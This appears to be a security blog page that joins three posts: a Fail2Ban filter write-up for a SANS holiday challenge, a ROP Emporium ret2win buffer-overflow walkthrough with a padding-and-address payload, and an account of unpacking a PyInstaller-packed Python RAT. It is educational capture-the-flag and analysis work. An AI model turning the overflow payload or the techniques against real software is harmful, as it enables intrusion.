It’s this time of the year again ! The SANS xmas challenge is back and I though I would documented some of the challenges as a way to get back into this blog. Without further ado, let’s jump into it !
Ho Ho …No !
This challenge is focused on the famous fail2ban. Here is the challenge:
Jack is trying to break into Santa's workshop!
Santa's elves are working 24/7 to manually look through logs, identify the
malicious IP addresses, and block them. We need your help to automate this so
the elves can get back to making presents!
Can you configure Fail2Ban to detect and block the bad IPs?
* You must monitor for new log entries in /var/log/hohono.log
* If an IP generates 10 or more failure messages within an hour then it must
be added to the naughty list by running naughtylist add <ip>
/root/naughtylist add 12.34.56.78
* You can also remove an IP with naughtylist del <ip>
/root/naughtylist del 12.34.56.78
* You can check which IPs are currently on the naughty list by running
/root/naughtylist list
You'll be rewarded if you correctly identify all the malicious IPs with a
Fail2Ban filter in /etc/fail2ban/filter.d, an action to ban and unban in
/etc/fail2ban/action.d, and a custom jail in /etc/fail2ban/jail.d. Don't
add any nice IPs to the naughty list!
*** IMPORTANT NOTE! ***
Fail2Ban won't rescan any logs it has already seen. That means it won't
automatically process the log file each time you make changes to the Fail2Ban
config. When needed, run /root/naughtylist list refresh to re-sample the log file
and tell Fail2Ban to reprocess it.
Grepping the log file for different kind of log shows four interesting type of log:
[Definition]
failregex = ^.* Login from <HOST> rejected due to unknown user name.*$
^.* Failed login from <HOST> for .*$
^.* <HOST> sent a malformed request.*$
^.* Invalid heartbeat .* from <HOST>.*$
Be carefull that the timestamps are automatically processed while using fail2ban-regex but not in the filter (or the other way around…)
As I am not that experienced with exploitation yet, I recently decided to follow the series of challenges offered by ROP Emporium. The challenges will be explained here both as a documentation exercise and with the hope that other cybersecurity enthusiasts will be able to find some value in those tutorials. Since I’ll solve most of the challenges in x64 architecture, the following document might be helpful x64 cheatsheet
Requirement
First, we download the zip file for the challenges:
Radare2 is a complete framework for reverse-engineering and analyzing binaries; composed of a set of small utilities that can be used together or independently from the command line.
apt-get install git
git clone https://github.com/radare/radare2
cd radare2
sys/install.sh
Ropper
You can use ropper to display information about binary files in different file formats and you can search for gadgets to build rop chains for different architectures (x86/X86_64, ARM/ARM64, MIPS/MIPS64, PowerPC/PowerPC64, SPARC64). For disassembly ropper uses the awesome Capstone Framework.
apt install python-pip
pip install ropper
Pwntools
Pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.
We can see that the stack pointer(RSP) has now been overwritten by the value “AA0AAFAAb”. Using this value, we can determine how much padding will be needed before writing the address to the function ret2win@0x00400811
pattern offset AA0AAFAAb
AA0AAFAAb found at offset: 40
Now if all goes according to plan, the following line should return the flags:
python -c'print "\x90"*40 #Will take care of the padding
+"\x11\x08\x40\x00\x00\x00\x00\x00\x00"'#Will write our address into RSP
root@kali:~/ropemporium# python -c'print "\x90"*40 + "\x11\x08\x40\x00\x00\x00\x00\x00\x00"' | ./ret2win
ret2win by ROP Emporium
64bits
For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
Segmentation fault
*Note that the value of RIP has not been overwritten, this is because, in the x64 architecture, the value will not be poped into RDI if it cannot be jumped to or executed.
The idea to finally set up my own blog stems from my first malware analysis where a word document was spotted on Twitter by one of my colleagues. Following the Twitter thread showed that some researchers had already done some preliminary analysis but the main payload still needed to be unpacked and analyzed. After reaching out to one of the researchers (@Arkbird_SOLG) I was directed to a great tutorial about how to unpack python executable (Tutorial)
Sample
As mentionned before, researchers had already figure out that the document was first downloading a dropper by reaching out to an googledrive link, downloading a picture from which the python RAT was extracted.
As a result, I headed to AnyRun in order to fetch the RAT that I now needed to unpack. After running strings on the executable for good measure, I cloned the python-exe-unpacker and unpacked the file:
user@ubuntu:/opt/python-exe-unpacker$ sudo python python_exe_unpack.py -i prc.bin
[*] On Python 3.6
[*] Processing prc.bin
[*] Pyinstaller version: 2.1+
[*] This exe is packed using pyinstaller
[*] Unpacking the binary now
[*] Python version: 37
[*] Length of package: 6760411 bytes
[*] Found 39 files in CArchive
[*] Beginning extraction...please standby
[!] Warning: The script is running in a different python version than the one used to build the executable
Run this script in Python37 to prevent extraction errors(if any) during unmarshalling
[*] Found 324 files in PYZ archive
[*] Successfully extracted pyinstaller exe.
Now that we have the compiled python script (.pyc) and the python libraries (.pyd) from the executable file, we need to uncompile our main executable which in this case is final2.
After failing to use sudo and getting some errors with uncompyle6:
user@ubuntu:/opt/python-exe-unpacker/unpacked/prc.bin$ uncompyle6
Traceback (most recent call last):
(...)
TypeError: not all arguments converted during string formatting
We realize that we need to change the file extension:
user@ubuntu:/opt/python-exe-unpacker/unpacked/prc.bin$ sudo uncompyle6 final2
# file final2# path final2 must point to a .py or .pyc file
We are now greeted with yet another error:
user@ubuntu:/opt/python-exe-unpacker/unpacked/prc.bin$ sudo uncompyle6 final2.pyc
Traceback (most recent call last):
File "/user/.local/lib/python3.6/site-packages/xdis/load.py", line 106, in load_module
version = float(magics.versions[magic][:3])
KeyError: b'\xe3\x00\x00\x00'(...)
TypeError: ord() expected string of length 1, but int found
This is due to the fact that the first 16-bytes of data on the header is missing. To find the missing bytes, we just need to open one of the other .pyc files available:
Now after struggling a bit, I found that instead of adding the value:
42 0D 0D 0A 00 00 00 00 00 00 00 00
to mimic the structure of the existing pyc files, I needed to actually add:
42 0D 0D 0A 00 00 00 00 00 00 00 00 00 00 00 00
And that the file was only getting decompiled on my windows environment…
NirCmd is a small command-line utility that allows you to do some useful tasks without displaying any user interface. By running NirCmd with simple command-line option, you can write and delete values and keys in the Registry, write values into INI file, dial to your internet account or connect to a VPN network, restart windows or shut down the computer, create shortcut to a file, change the created/modified date of a file, change your display settings, turn off your monitor, open the door of your CD-ROM drive, and more…
For a more detailed analysis of this malware, Thalos actually published a very nice writeup. two days after I spent my night unpacking my sample. Needless to say that for a first stab at malware analysis, I was pretty excited when I realized that not only I managed to decompile and analyze the sample properly, but my team was also able to send a notice to some of our stakeholders one day before Talos published its writeup.
